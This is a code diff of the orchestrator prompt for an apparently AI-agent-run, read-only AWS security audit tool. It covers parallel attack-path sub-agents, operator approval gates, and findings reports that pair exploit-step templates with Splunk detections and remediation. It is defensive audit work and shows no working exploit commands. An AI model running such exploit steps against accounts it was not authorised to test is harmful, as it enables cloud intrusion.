full per-service schema validation (envelope fields, per-resource required fields, trust entries, sort order) using a single source of truth. +## Module JSON Validation -This check is NON-BLOCKING — log warnings, do not abort the run. Invalid module data degrades attack-paths quality but partial data is better than no data. +After enumeration completes and before Gate 3, spot-check each module JSON in `$RUN_DIR/` for basic integrity. SDK scripts enforce the envelope schema via `scripts/lib/envelope.js` — this is a backup check only. -Run inline: -```bash -VALIDATION_WARNINGS=() -for MODULE_FILE in "$RUN_DIR"/*.json; do - [ -f "$MODULE_FILE" ] || continue - BASENAME=$(basename "$MODULE_FILE") - - # Check file is non-empty (catches 0-byte jq redirect failures) - if [ ! -s "$MODULE_FILE" ]; then - VALIDATION_WARNINGS+=("[WARN] $BASENAME: file is empty (0 bytes) -- jq redirect likely failed") - continue - fi - - # Skip non-module files (e.g., context.json, results.json) - MODULE=$(jq -r '.module // empty' "$MODULE_FILE" 2>/dev/null) - [ -z "$MODULE" ] && continue - - # Run full schema validation via node script - if command -v node >/dev/null 2>&1; then - OUTPUT=$(node bin/validate-enum-output.js "$MODULE_FILE" 2>&1) - EXIT_CODE=$? - - if [ $EXIT_CODE -eq 1 ]; then - # Validation errors -- collect as warnings (non-blocking) - while IFS= read -r line; do - VALIDATION_WARNINGS+=("[WARN] $line") - done <<< "$OUTPUT" - elif [ $EXIT_CODE -eq 2 ]; then - VALIDATION_WARNINGS+=("[WARN] $BASENAME: validator could not process file") - fi - # EXIT_CODE 0 = pass, no action needed - else - VALIDATION_WARNINGS+=("[WARN] node not available -- skipping schema validation for $BASENAME") - fi -done - -# Display warnings at Gate 3 if any -if [ ${#VALIDATION_WARNINGS[@]} -gt 0 ]; then - echo "" - echo "Module validation warnings (${#VALIDATION_WARNINGS[@]} issue(s) found):" - printf ' %s\n' "${VALIDATION_WARNINGS[@]}" - echo "" - echo "These warnings indicate module data quality issues that may degrade attack-path quality." - echo "Warnings will be shown alongside the Gate 3 summary — no additional prompt required." -else - echo "" - echo "All modules passed validation." -fi -``` +**NON-BLOCKING** — log warnings, do not abort. For each `*.json` with a `.module` field, verify: non-empty file, required envelope fields present (`module`, `account_id`, `status`, `timestamp`, `findings`). Skip non-module files (context.json, results.json). Display warning count at Gate 3. -## Attack Path Analysis Dispatch +## Attack Path Analysis — Parallel Domain Dispatch -Attack-paths ALWAYS runs as a fresh-context subagent — even for single-service audits. +Attack path analysis runs as a 3-phase pipeline: graph extraction, 4 parallel domain sub-agents, cross-domain synthesis. +### Phase A: Graph Extraction + +```bash +node bin/extract-graph.js "$RUN_DIR" ``` -Dispatch the attack-paths subagent with this initial message: - RUN_DIR: {run_directory_path} - MODE: posture - ACCOUNT_ID: {account_id} - SERVICES_COMPLETED: {comma-separated list of services with STATUS complete or partial} +Verify `$RUN_DIR/graph.json` was written. If extract-graph.js fails, log error and skip attack path analysis entirely — proceed to Gate 4 with enumeration data only. -On Claude Code: Use the Agent tool with agents/subagents/scope-attack-paths.md -(installed to .claude/agents/scope-attack-paths.md). -The attack-paths subagent uses model: sonnet — it requires full reasoning capability. +### Phase B: Parallel Domain Dispatch -On Gemini CLI: Delegate to the scope-attack-paths subagent in .agents/agents/. +Dispatch 4 domain sub-agents in parallel. Each receives: `RUN_DIR`, `ACCOUNT_ID`, `SERVICES_COMPLETED`, `OWNED_ACCOUNTS`, `DOMAIN`. -On Codex: Dispatch the scope-attack-paths agent role registered in .codex/config.toml. -With multi_agent enabled, Codex automatically spawns the registered role. +| Sub-agent | DOMAIN | Modules | +|-----------|--------|---------| +| scope-attack-identity | identity | iam.json, sts.json | +| scope-attack-compute | compute | lambda.json, ec2.json, codebuild.json | +| scope-attack-data | data | s3.json, kms.json, secrets.json, rds.json, dynamodb.json, ssm.json | +| scope-attack-network | network | apigateway.json, sns.json, sqs.json, cognito.json, bedrock.json | -Wait for the attack-paths subagent to complete and return its summary. -Expected summary format: - STATUS: complete|partial|error - FILE: $RUN_DIR/results.json - METRICS: {attack_paths: N, risk_score: critical|high|medium|low, categories: N} - ERRORS: [any issues] -``` +Each sub-agent also reads graph.json and iam.json (except identity, which owns iam.json). -If attack-paths returns STATUS: error or does not write results.json: -- Log the error -- Proceed with Gate 4 using whatever enumeration data is available -- Note in findings.md that attack-path analysis failed and results are incomplete - +**Partial failure:** If a domain sub-agent fails, continue with available results. Note the failed domain. Do NOT re-dispatch — proceed with what completed. - -## Verification (Inline) +**Expected return per domain:** STATUS, domain findings JSON written to `$RUN_DIR/attack-{domain}.json` + +### Phase C: Synthesis Dispatch + +After all 4 domain sub-agents complete (or fail), dispatch scope-attack-synthesizer with: +- `RUN_DIR`, `ACCOUNT_ID`, `OWNED_ACCOUNTS` +- `DOMAIN_RESULTS`: list of which domains completed successfully -After attack-paths completes, run verification inline in this orchestrator context. +The synthesizer reads domain output files from `$RUN_DIR/`, discovers cross-domain chains, and writes `$RUN_DIR/results.json`. -Read `agents/subagents/scope-verify.md` and apply the `domain-core` and `domain-aws` sections. +**Expected return:** STATUS (complete|partial|error), FILE ($RUN_DIR/results.json), METRICS (total_paths, severity counts, cross_domain_chains). -Validate all claims in results.json and the findings you will report: -- Apply the claim ledger protocol (Guaranteed, Conditional, Speculative classification) -- Run semantic lints on any SPL queries -- Check attack path satisfiability — list gating conditions for Conditional paths -- Run safety checks on all SCP/RCP remediation suggestions -- Strip Speculative claims from output +If synthesizer fails: log error, proceed to Gate 4 with available data. + + + +@include agents/shared/verification-protocol.md -This step is automatic and mandatory. Do not present verification findings separately. Silently correct errors. Only Guaranteed and Conditional claims appear in the final output. +**Audit note:** Run verification inline after attack path synthesis completes. Apply domain-core and domain-aws sections. Verify claims in results.json before presenting Gate 4 results. ## Gate 4: Attack Path Results Approval -After attack-paths subagent completes and verification runs, present results summary. +After attack-paths subagent completes and verification runs, display: attack path count by severity (critical/high/medium/low), speculative paths stripped by verify, top 3 findings (one sentence each). -Display: -``` ---- -GATE 4: Analysis Complete - -Attack paths identified: [count] - critical: [count] paths - high: [count] paths - medium: [count] paths - low: [count] paths - Speculative (stripped by verify): [count] paths — gating conditions not satisfiable - -Top findings: - 1. [Most critical path name — one sentence] - 2. [Second path] - 3. [Third path, if exists] - -Next step: Generate findings report, then auto-chain defensive controls. - -Options: - continue — export results.json and produce full output - skip — skip results export, produce text output only - stop — end session, output analysis results only ---- -``` +Options: `continue` (export results.json, full output), `skip` (text output only — sets GATE4_SKIP=true, skips results.json/dashboard export), `stop` (end session). -Wait for operator approval before proceeding. If operator says "skip", set GATE4_SKIP=true (skip results.json write and dashboard export, only findings.md required). If operator says "stop", render collected data and end session. +Wait for operator approval before proceeding. ## Findings Report -After Gate 4 approval, write `$RUN_DIR/findings.md` with the full three-layer report. - -**0-finding handling:** If the attack_paths array is empty AND no findings were detected across all modules, -generate a clean-run findings.md instead of the three-layer report: - -```markdown -# SCOPE Audit Findings - -Authenticated as: [caller ARN from Gate 1] -Account: [account ID] - ---- - -## RISK SUMMARY: [account-id] -- low - -No security findings detected. All checks passed. - -**Services analyzed:** [comma-separated list of modules that completed successfully] -**Modules with partial data:** [list any modules with AccessDenied or errors, or "None"] -**Findings:** 0 - -No attack paths identified. The account configuration meets baseline security expectations -for the services enumerated. - -## RECOMMENDED NEXT ACTION - -Review service coverage -- modules with partial data may have obscured findings: -[list any partial modules, or "All modules completed successfully"] -``` - -This ensures findings.md is always generated (even with 0 findings), maintaining a consistent artifact set. -All platforms must generate this file — this is not Claude-specific. - -The findings report has three layers plus actionable next steps: - -### Layer 1: Risk Summary - -``` -Authenticated as: [caller ARN] -Account: [account ID] - ---- - -## RISK SUMMARY: [account-id] -- [critical/high/medium/low] - -* [Most critical finding — one sentence, specific, include resource ARN or name] -* [Second most critical finding] -* [Third finding] -* [Fourth finding, if exists] -* [Fifth finding, if exists] - -**Biggest concern:** [One specific sentence about the worst finding and why it matters] -**Services analyzed:** [list of modules that ran successfully] -**Modules with partial data:** [list of modules with AccessDenied or errors] -``` +After Gate 4 approval, write `$RUN_DIR/findings.md` — always generated, even with 0 findings. -Rules: Maximum 5 bullets. Each bullet is one sentence with real ARN/resource name. Risk rating is the highest severity across all findings. +**0-finding handling:** If attack_paths is empty and no findings across modules, generate a clean-run report: RISK SUMMARY with "low", services analyzed, modules with partial data, and recommended next action to review coverage gaps. -### Layer 2: Findings by Severity (--all mode) or Effective Permissions (ARN mode) - -**For `--all` or multi-service mode** — organize by risk severity: -``` -## FINDINGS BY SEVERITY - -### critical -- **[Finding name]** — [specific resource ARN/name and why it's critical] - -### high -- **[Finding name]** — [specific resource ARN/name] - -### medium -- **[Finding name]** — [specific resource ARN/name] - -### low -- **[Finding name]** — [specific resource ARN/name] -``` +**Three-layer structure (when findings exist):** -**For single ARN mode** — effective permissions table: -``` -## EFFECTIVE PERMISSIONS: [principal-arn] - -| Action | Resource | Effect | Source Policy | -|--------|----------|--------|---------------| -| [action] | [resource] | Allow | [policy name] | -``` - -### Layer 3: Attack Path Narratives - -Order by exploitability score DESC, then confidence DESC. - -``` -## ATTACK PATHS - -### ATTACK PATH #1: [Descriptive Name] -- [critical/high/medium/low] -**Exploitability:** [critical/high/medium/low] -**Confidence:** [what was verified and what was not — e.g., "IAM policy confirmed; SCP status unknown"] -**MITRE:** [T1078.004], [T1548] - -[Narrative paragraph: what an attacker with access to [principal] could do, WHY the chain works -(specific policy statements, trust relationships, misconfigurations), blast radius.] - -**Exploit steps:** *(for reference — not executable with current read-only access)* -1. `[concrete AWS CLI command with real ARNs]` -2. `[concrete AWS CLI command]` -3. `[concrete AWS CLI command]` - -**Splunk detection (CloudTrail):** -- CloudTrail eventName: [specific eventName] -- SPL sketch: [brief SPL query against index=cloudtrail] - -**Remediation:** -- [SCP/RCP deny statement] -- [IAM policy change — which permission, which policy ARN] -``` +1. **Layer 1 — Risk Summary:** Caller ARN, account ID, overall risk rating (highest severity), up to 5 bullet findings (one sentence each with real ARN/name), biggest concern, services analyzed, partial modules. -Use REAL ARNs and resource names throughout. Never use placeholders in the final output. +2. **Layer 2 — Findings by Severity** (`--all`/multi-service: grouped by critical/high/medium/low) **or Effective Permissions** (single ARN: Action | Resource | Effect | Source Policy table). -### Actionable Next Steps +3. **Layer 3 — Attack Path Narratives:** Ordered by exploitability DESC. Each path includes: name, severity, exploitability, confidence (what was/wasn't verified), MITRE TTPs, narrative paragraph with real policy details, concrete exploit CLI steps (reference only), Splunk detection sketch, remediation actions. -``` -## RECOMMENDED NEXT ACTION +**Rules:** Use REAL ARNs and resource names throughout — never placeholders. End with RECOMMENDED NEXT ACTION referencing defend artifacts and available follow-up commands (`/scope:exploit`, `/scope:audit`, dashboard link). + -[One specific, contextual recommendation based on highest-risk finding. Reference defensive -control artifacts already generated at $RUN_DIR/defend/defend-{timestamp}/.] +**Update environment observations:** Before finishing, append up to 5 concise observations to `config/observations.md`. If the file does not exist, create it using the structure from `config/observations.example.md`. Write to the `## Account: {ACCOUNT_ID}` section (create it if missing, with subsections: Naming & Structure, Recurring Gaps, Known-Good Trusts). Promote a pattern to `## Org-Wide Patterns` only if observed in 2+ accounts across runs. Prefix each entry with today's date (YYYY-MM-DD). Never delete or overwrite existing entries. -**Additional options:** -- `/scope:exploit` — validate findings by testing exploitability -- `/scope:audit [another-target]` — drill into [specific related resource] -- View results: open `dashboard/-dashboard.html` in any browser -- Review defensive control artifacts: `$RUN_DIR/defend/defend-{timestamp}/` -``` - +Focus on: naming conventions, role structure patterns, service usage patterns, severity trends vs prior observations, new finding categories not previously observed. ## Results JSON Export -After findings.md is written (and Gate 4 was NOT skipped), export results.json. - -The attack-paths subagent wrote `results.json` to `$RUN_DIR/`. Copy it to the dashboard public directory: - -```bash -mkdir -p dashboard/public -if [ -f "$RUN_DIR/results.json" ]; then - cp "$RUN_DIR/results.json" "dashboard/public/$RUN_ID.json" -else - echo "[ERROR] results.json not found in $RUN_DIR — results export skipped" -fi -``` - -Update `dashboard/public/index.json` — upsert this run (match on `run_id`), newest-first: -```bash -RISK_SCORE=$(jq -r '.summary.risk_score // "unknown"' "$RUN_DIR/results.json" 2>/dev/null || echo "unknown") -if [ -f dashboard/public/index.json ]; then - node -e " - const idx = JSON.parse(require('fs').readFileSync('dashboard/public/index.json','utf8')); - idx.runs = (idx.runs || []).filter(r => r.run_id !== '$RUN_ID'); - idx.runs.unshift({ run_id: '$RUN_ID', date: new Date().toISOString(), source: 'audit', target: '$TARGET_INPUT', risk: '$RISK_SCORE', status: 'complete', file: '$RUN_ID.json' }); - require('fs').writeFileSync('dashboard/public/index.json', JSON.stringify(idx, null, 2)); - " -else - node -e " - const idx = { runs: [{ run_id: '$RUN_ID', date: new Date().toISOString(), source: 'audit', target: '$TARGET_INPUT', risk: '$RISK_SCORE', status: 'complete', file: '$RUN_ID.json' }] }; - require('fs').writeFileSync('dashboard/public/index.json', JSON.stringify(idx, null, 2)); - " -fi -``` +After findings.md is written (and Gate 4 was NOT skipped): -Also append to `./audit/INDEX.md` (create if missing) and upsert into `./audit/index.json`. +1. Copy `$RUN_DIR/results.json` to `dashboard/public/$RUN_ID.json` +2. Upsert this run into `dashboard/public/index.json` (match on `run_id`, newest-first) with fields: run_id, date, source ("audit"), target, risk, status, file +3. Append to `./audit/INDEX.md` (create if missing) and upsert into `./audit/index.json` -**Verification:** -```bash -test -f "$RUN_DIR/results.json" && echo "Results OK" || echo "WARNING: results.json not found" -test -f "dashboard/public/$RUN_ID.json" && echo "Dashboard export OK" || echo "WARNING: dashboard export not created" -``` - -**Gate 4 skip exception:** If Gate 4 was skipped (GATE4_SKIP=true), only `findings.md` and `agent-log.jsonl` are required. Skip results.json export and dashboard index update. +**Gate 4 skip exception:** If GATE4_SKIP=true, skip all exports — only `findings.md` and `agent-log.jsonl` are required. ## Defend Auto-Chain -After findings.md and results.json are written, automatically dispatch the defend agent as a subagent. +After findings.md and results.json are written, automatically dispatch scope-defend as a subagent. -**Gate 4 skip exception:** If Gate 4 was skipped (GATE4_SKIP=true), do not dispatch defend. Log that defend was skipped because Gate 4 was skipped, and advise the operator to run `/scope:defend` manually against the run directory if a defensive analysis is needed later. +**Gate 4 skip exception:** If GATE4_SKIP=true, do not dispatch. Log skip and advise `/scope:defend` for later use. -If GATE4_SKIP is not set or is false, dispatch defend as follows: +**Dispatch:** scope-defend subagent with `AUDIT_RUN_DIR` and `ACCOUNT_ID`. Note: defend dispatches 5 subagents internally, so it must run as a subagent (not inline) to allow nesting. -``` -Dispatch scope-defend as a subagent with this initial message: +**Expected return:** STATUS, DEFEND_RUN_DIR (`{audit_run_dir}/defend/defend-{timestamp}/`), METRICS (scps, rcps, detections). Capture DEFEND_RUN_DIR — needed for pipeline Run 2. - AUDIT_RUN_DIR: {run_directory_path} - ACCOUNT_ID: {account_id} +Defend failure is non-blocking — log warning, continue to synthesizer/pipeline. -On Claude Code: Use the Agent tool with subagent file path agents/scope-defend.md (read directly from repo, not installed as a subagent). -Defend reads results.json and per-module JSONs from AUDIT_RUN_DIR/ for its full analysis. -Defend also runs verify internally (domain-aws + domain-splunk) on its own output. +Announce completion or failure to operator. + -On Gemini CLI: Delegate to scope-defend in .agents/agents/. + +## Engagement Synthesis Dispatch -On Codex: Dispatch the scope-defend agent role registered in .codex/config.toml. -With multi_agent enabled, Codex automatically spawns the registered role. +After defend completes (or fails), dispatch the synthesizer subagent automatically. -Wait for defend to complete and return its summary. -Expected summary: - STATUS: complete|error - DEFEND_RUN_DIR: {audit_run_directory_path}/defend/defend-{timestamp}/ - METRICS: {scps: N, rcps: N, detections: N} -``` +**Skip conditions:** Gate 4 was skipped (GATE4_SKIP=true) OR defend failed — synthesizer requires both results.json and defend output. Log skip reason. -If defend fails: log a warning, continue to pipeline. Defend failure is non-blocking. +**Dispatch:** scope-synthesizer subagent with `RUN_DIR`, `ACCOUNT_ID`, `SERVICES_COMPLETED`. Uses model: sonnet. -Note: Defend creates its run directory as a subdirectory of the audit run at `{audit_run_dir}/defend/defend-{timestamp}/`. Capture -the DEFEND_RUN_DIR from defend's summary — you need it for the post-processing pipeline Run 2. - -**Announce defend completion to the operator:** -``` -━━━ Defend: complete ━━━ -Run directory: {DEFEND_RUN_DIR} -SCPs: {N} | RCPs: {N} | Detections: {N} -━━━━━━━━━━━━━━━━━━━━━━━ -``` -If defend failed, announce: `━━━ Defend: failed (non-blocking) ━━━` with the error summary. - +**Expected return:** STATUS, FILE ($RUN_DIR/engagement-report.md), METRICS (sections, attack_paths_covered, services_covered), ERRORS. Announce completion or failure to operator. Failure is non-blocking for post-processing — pipeline continues. + ## Post-Processing Pipeline (Inline) -After defend completes, run the pipeline inline in this orchestrator context. - -Read `agents/subagents/scope-pipeline.md` and execute: - -**Run 1 — Audit phase:** -``` -PHASE=audit -RUN_DIR={audit_run_directory_path} -``` -Run Phase 1 data normalization then Phase 2 agent-log indexing for the audit artifacts. - -**Run 2 — Defend phase:** -``` -PHASE=defend -RUN_DIR={defend_run_directory_path} -``` -Use the DEFEND_RUN_DIR returned by defend in its summary (e.g., `./audit/audit-20260301-143022-all/defend/defend-20260301-143522-a1b2/`). -Run Phase 1 data normalization then Phase 2 agent-log indexing for the defend artifacts (if defend succeeded). - -Sequential. Automatic. No operator approval needed. - -If a pipeline step fails: log a warning and continue — raw artifacts are already written. Pipeline failure is non-blocking but MUST be attempted. - -**Pipeline health summary:** After both pipeline runs complete (audit + defend), display the following to the operator before proceeding to dashboard generation: - -``` -Pipeline: N runs processed (X complete, Y partial). Z orphans culled. -``` +After the synthesizer completes (or is skipped), read `agents/subagents/scope-pipeline.md` and execute two sequential runs: +1. **Run 1 — Audit:** `PHASE=audit, RUN_DIR={audit_run_dir}` — data normalization then agent-log indexing. +2. **Run 2 — Defend:** `PHASE=defend, RUN_DIR={defend_run_dir}` — same steps for defend artifacts (if defend succeeded). Use DEFEND_RUN_DIR from defend's summary. -- **N** = total pipeline runs attempted (1 for audit-only, 2 when defend succeeded) -- **X** = runs where Phase 1 and Phase 2 both completed without errors -- **Y** = runs where one or more pipeline steps logged a warning or partial failure -- **Z** = orphan run directories culled by the pipeline maintenance step (from the `pipeline_maintenance` record in agent-log.jsonl; use 0 if the maintenance step did not run or produced no orphans) +Sequential, automatic, no operator approval. Pipeline failure is non-blocking — log warning, continue. -Always show all counts including zeros — consistent format makes anomalies easy to spot. This is a conversation display only (not a machine-readable artifact — the orphan cull count is already in agent-log.jsonl via the pipeline_maintenance record). - -After displaying the pipeline health summary, proceed IMMEDIATELY to dashboard generation below. Do not skip this step. +**Display after both runs:** `Pipeline: N runs processed (X complete, Y partial). Z orphans culled.` Then proceed immediately to dashboard generation. ## Dashboard Generation (Inline) -After the pipeline completes, generate the self-contained dashboard report: - -```bash -cd dashboard && npm run dashboard 2>&1 -``` - -This produces `dashboard/-dashboard.html` — a portable file that opens in any browser without a server. Essential for Codex and Gemini CLI environments where localhost is unavailable. +Run: `cd dashboard && npm run dashboard 2>&1` — produces `dashboard/-dashboard.html`, a self-contained portable file. Dependencies auto-install if needed. -`npm run dashboard` calls `bin/generate-report.js`, which automatically installs dependencies (`npm install`) if `dashboard/node_modules/` is missing before running the build. You do not need to run `npm install` manually. +**Do NOT generate dashboard HTML yourself.** Always use `npm run dashboard` — it's a React + D3 app that inlines data from `dashboard/public/`. -**Do NOT generate dashboard HTML yourself.** The dashboard is a React + D3 application built by `npm run dashboard` — it inlines all data from `dashboard/public/`. Writing your own HTML to `$RUN_DIR/dashboard.html` or any other path will NOT produce a working dashboard. Always use the npm command above. The output filename is derived from the run ID (e.g., `audit-20260408-201108-all-dashboard.html`). - -If dashboard generation fails: log a warning and continue. The raw artifacts and data/ exports are still valid. - -**Announce dashboard completion to the operator:** -``` -━━━ Dashboard: generated ━━━ -Open: dashboard/-dashboard.html -━━━━━━━━━━━━━━━━━━━━━━━━━━━ -``` -If dashboard failed: `━━━ Dashboard: failed (non-blocking) — raw artifacts available in $RUN_DIR/ ━━━` +If generation fails: log warning, continue — raw artifacts are still valid. Announce result to operator (generated path or failure notice). @@ -885,226 +395,37 @@ Every audit run MUST produce ALL of the following files. Check this list before | 4 | `agent-log.jsonl` | `$RUN_DIR/agent-log.jsonl` | Agent activity log — one JSON line per event | | 5 | Dashboard export | `dashboard/public/$RUN_ID.json` | Copy of results.json for the SCOPE dashboard | | 6 | Dashboard index | `dashboard/public/index.json` | Updated: upsert this run into `runs[]` array | +| 7 | `engagement-report.md` | `$RUN_DIR/engagement-report.md` | Unified engagement narrative -- cross-phase synthesis | -**Self-check — run before reporting completion:** -```bash -test -f "$RUN_DIR/findings.md" && echo "findings.md PRESENT" || echo "MISSING: findings.md" -test -f "$RUN_DIR/agent-log.jsonl" && echo "agent-log.jsonl PRESENT" || echo "MISSING: agent-log.jsonl" -# Only if Gate 4 was not skipped: -test -f "$RUN_DIR/results.json" && echo "results.json PRESENT" || echo "WARNING: results.json missing (Gate 4 skip?)" -test -f "dashboard/public/$RUN_ID.json" && echo "dashboard export PRESENT" || echo "WARNING: dashboard export missing" -``` - -If ANY mandatory file is MISSING (and no applicable exception applies), go back and create it before proceeding. +Before reporting completion, verify all mandatory files exist. If ANY is missing (and no applicable exception applies), go back and create it. - -## Agent Activity Log Protocol - -Maintain a structured activity log at `$RUN_DIR/agent-log.jsonl`. -Append one JSON line per event. - -### When to Log - -1. Every AWS API call — immediately after return (for inline execution; subagents log their own calls) -2. Every subagent dispatch — record which subagent was launched and initial parameters -3. Every subagent return — record STATUS, METRICS, ERRORS from subagent summary -4. Every gate transition — record gate number, operator decision, timestamp -5. Every policy evaluation — full 7-step chain -6. Every claim — classification, confidence, reasoning -7. Coverage checkpoints — end of each enumeration module - -### Event IDs - -Sequential: `ev-001`, `ev-002`, etc. -Claims: `claim-{type}-{seq}` (e.g., `claim-ap-001` for attack paths) - -### Record Types + +@include agents/shared/evidence-logging.md -- `api_call` — service, action, parameters, response_status, response_summary, duration_ms -- `subagent_dispatch` — name, initial_message, timestamp -- `subagent_return` — name, STATUS, METRICS, ERRORS, timestamp -- `gate_transition` — gate, decision, timestamp -- `policy_eval` — principal_arn, action_tested, 7-step evaluation_chain, source_evidence_ids -- `claim` — statement, classification, confidence_reasoning, gating_conditions -- `coverage_check` — scope_area, checked[], not_checked[], coverage_pct +**Audit-specific record types:** `subagent_dispatch` (name, initial_message, timestamp), `subagent_return` (name, STATUS, METRICS, ERRORS, timestamp), `gate_transition` (gate, decision, timestamp). -### Writing Log Entries - -Always append one JSON object per line. Use `jq -c` or `printf` — do NOT use heredocs (`< "$RUN_DIR/agent-log.jsonl" -printf '%s\n' "$(jq -nc --arg ts "$TIMESTAMP" '{event_id:"ev-002",type:"gate_transition",gate:1,decision:"continue",timestamp:$ts}')" >> "$RUN_DIR/agent-log.jsonl" -``` - -**Append subsequent events:** -```bash -printf '%s\n' "$(jq -nc --arg ts "$(date -u +%Y-%m-%dT%H:%M:%SZ)" --arg name "$SUBAGENT_NAME" '{event_id:"ev-NNN",type:"subagent_dispatch",name:$name,timestamp:$ts}')" >> "$RUN_DIR/agent-log.jsonl" -``` - -### Failure Handling - -If write fails: log warning and continue. Agent activity logging must never block the primary audit workflow. - - - -## Session Isolation - -Every `/scope:audit` invocation is an independent session. Results from different runs MUST NOT mix. - -### Context Isolation Rules - -1. **No carryover.** Do NOT reference findings, attack paths, or enumeration data from any previous run. -2. **No shared state.** Do not read files from other `./audit/` subdirectories to inform the current run. -3. **No deduplication across runs.** If the same finding appears in two runs, report it in both. -4. **Run directory per invocation.** All artifacts in `./audit/$RUN_ID/`. Every subagent receives RUN_DIR in its initial message and writes exclusively to that directory. - -### Subagent Isolation - -Each dispatched subagent receives: -- `RUN_DIR` — the run directory path (unique per invocation) -- `ACCOUNT_ID` — from Gate 1 -- Other context relevant to that subagent - -Subagents write to `$RUN_DIR/` only. They do NOT read from other run directories. - -### Run Index - -After each run completes, append to `./audit/INDEX.md` (create if missing): -```markdown -| Run ID | Date | Target | Risk | Paths | Directory | -|--------|------|--------|------|-------|-----------| -| audit-20260301-143022-all | 2026-03-01 14:30 | --all | critical | 3 | ./audit/audit-20260301-143022-all/ | -``` - -Also upsert into `./audit/index.json` (create with `{"runs": []}` if missing): -```json -{ - "run_id": "audit-20260301-143022-all", - "date": "2026-03-01T14:30:22Z", - "target": "--all", - "risk": "critical", - "paths": 3, - "directory": "./audit/audit-20260301-143022-all/" -} -``` - - - -## Account Context - -After Gate 1 succeeds, load the owned-accounts list from `config/accounts.json`. - -1. Read `config/accounts.json` and extract account count using jq: -```bash -if [ -f config/accounts.json ]; then - OWNED_ACCOUNTS=$(jq -r '[.accounts[].id] | . + ["'"$ACCOUNT_ID"'"] | unique' config/accounts.json) - OWNED_ACCOUNT_COUNT=$(echo "$OWNED_ACCOUNTS" | jq 'length') - OWNED_ACCOUNT_LIST=$(echo "$OWNED_ACCOUNTS" | jq -r '.[]') - echo "Owned accounts loaded: $OWNED_ACCOUNT_COUNT from config/accounts.json" - echo "$OWNED_ACCOUNTS" | jq -r '.[]' | while read id; do echo " - $id"; done -else - OWNED_ACCOUNTS=$(jq -n --arg id "$ACCOUNT_ID" '[$id]') - OWNED_ACCOUNT_COUNT=1 - echo "Owned accounts: 1 (current session only — no config/accounts.json found)" -fi -``` -2. Do NOT count accounts manually — always use the jq output above -3. Write OWNED_ACCOUNTS to `$RUN_DIR/context.json` before dispatching attack-paths so it can classify cross-account trusts as internal vs external: -```bash -jq -n --argjson owned "$OWNED_ACCOUNTS" --arg account_id "$ACCOUNT_ID" \ - '{owned_accounts: $owned, account_id: $account_id}' > "$RUN_DIR/context.json" -``` - - - -## SCP Configuration - -After loading account context, load pre-configured SCPs from `config/scps/`. - -1. Glob `config/scps/*.json` -2. Skip `_`-prefixed files (templates) -3. For each file: parse JSON, validate required fields (`PolicyId`, `PolicyDocument`). Log warning and skip on error. -4. Build `PolicyId` → SCP object map. Tag each as `_source: "config"`. - -**Merge strategy with live enumeration:** -- Live enumeration succeeds: union config SCPs into live set. Live version wins on `PolicyId` collision. -- Live denied: use config SCPs as full dataset. Log evidence record. -- No config, no live: attack paths report "SCP status unknown" with reduced confidence. - -Display at Gate 1: -``` -SCPs loaded: [N] from config/scps/ - - p-FullAWSAccess (FullAWSAccess) → 2 targets -``` -If none: `SCPs: 0 pre-loaded (no config/scps/ files — will enumerate live)` - +Log every subagent dispatch/return and every gate transition. Seed the log after Gate 1 with the `get-caller-identity` call and Gate 1 transition. Use `jq -c` or `printf` to append — do NOT use heredocs. + ## Error Handling -### Credential Errors (Gate 1) - -Errors containing "NoCredentialsError", "ExpiredToken", "InvalidClientTokenId", "AuthFailure" → display credential error block, stop. - -### Subagent Failures - -- Subagent returns STATUS: error → log `[ERROR] {service} module — {error}`, continue with remaining subagents -- Subagent returns STATUS: partial → log `[PARTIAL] {service} module — {error}`, continue -- Subagent produces no output file → log `[MISSING] {service}.json not written`, report at Gate 3 -- Attack-paths failure → log, continue to Gate 4 with available data -- Defend failure → log warning, continue to pipeline - -### AWS API Errors (Inline Execution) - -- Throttling / rate exceeded → wait 2-5 seconds, retry once. If retry fails: log PARTIAL, continue. -- Network/connection error → do NOT retry. Log error, continue to next command. -- AccessDenied (expected) → log PARTIAL for that call, continue. Not an error. -- AccessDenied on first discovery command for a module → log `[PARTIAL] {service} — first command denied, skipping module`. -- All other AWS CLI errors → surface full error message verbatim to operator. - -### Pipeline and Dashboard Errors - -Middleware pipeline failures and dashboard generation failures are non-blocking. Log warning, continue. Raw artifacts are already written. - -### Aggregate Error Reporting - -At Gate 3, include an error summary if any non-AccessDenied errors occurred: -``` -Errors encountered: [N] commands failed due to network/API errors (not permission-related) -``` +| Error Type | Response | +|------------|----------| +| Credential error (NoCredentialsError, ExpiredToken, InvalidClientTokenId, AuthFailure) | Hard stop at Gate 1. Display fix instructions. | +| Throttling / Rate exceeded (HTTP 429) | Wait 2-5s, retry once. If retry fails: log PARTIAL, continue. | +| AccessDenied (expected) | Log PARTIAL for that call, continue. Not an error. First-command denied on a module: skip module. | +| Network / connection error (DNS, timeout, HTTP 5xx, connection reset) | Do NOT retry. Log `[ERROR] [Module] — [command]: [full message]`, continue. | +| Subagent STATUS: error | Log `[ERROR] {service} — {error}`, continue with remaining modules. | +| Subagent STATUS: partial | Log `[PARTIAL] {service} — {error}`, continue. | +| Subagent no output file | Log `[MISSING] {service}.json not written`, report at Gate 3. | +| Attack-paths failure | Log, continue to Gate 4 with available data. | +| Defend / Pipeline / Dashboard failure | Non-blocking. Log warning, continue. Raw artifacts already written. | + +Never swallow errors silently — operator must see every non-AccessDenied error. Aggregate error count at Gate 3 summary. - -## Generic API / Network Error Handling - -Not all failures are AWS auth errors. Network timeouts, DNS failures, HTTP 5xx responses, rate limiting (HTTP 429), connection resets, and MCP tool failures can occur at any point. - -### Detection - -Classify as transient/infrastructure error if NOT one of: credential errors, AccessDenied. - -Common patterns: -- "Could not connect to the endpoint URL" -- "Connection was closed before we received a valid response" -- "Name or service not known" (DNS failure) -- "Connection timed out" -- "Throttling" / "Rate exceeded" / HTTP 429 -- "Internal server error" / HTTP 5xx -- "fetch failed" or similar network-level errors - -### Response - -1. Log with context: `[ERROR] [Module name] — [command that failed]: [full error message]` -2. Never swallow silently — operator must see every non-AccessDenied error -3. For throttling: wait 2-5 seconds, retry once. If retry fails: log PARTIAL, continue. -4. For network/connection errors: do NOT retry. Log and continue to the next command. -5. Aggregate at Gate 3: include error count in the summary table. - - ## Success Criteria @@ -1114,14 +435,15 @@ The `/scope:audit` orchestrator succeeds (full run) when ALL of the following ar 1. **Credential verified** — `aws sts get-caller-identity` succeeded, caller identity displayed 2. **Operator gates honored** — Gate 1 auto-continued. Gates 2, 3, and 4 displayed and operator approval received before proceeding. No step past Gate 1 executed without explicit operator go-ahead. -3. **Target parsed and routed** — Input correctly identified (ARN, service 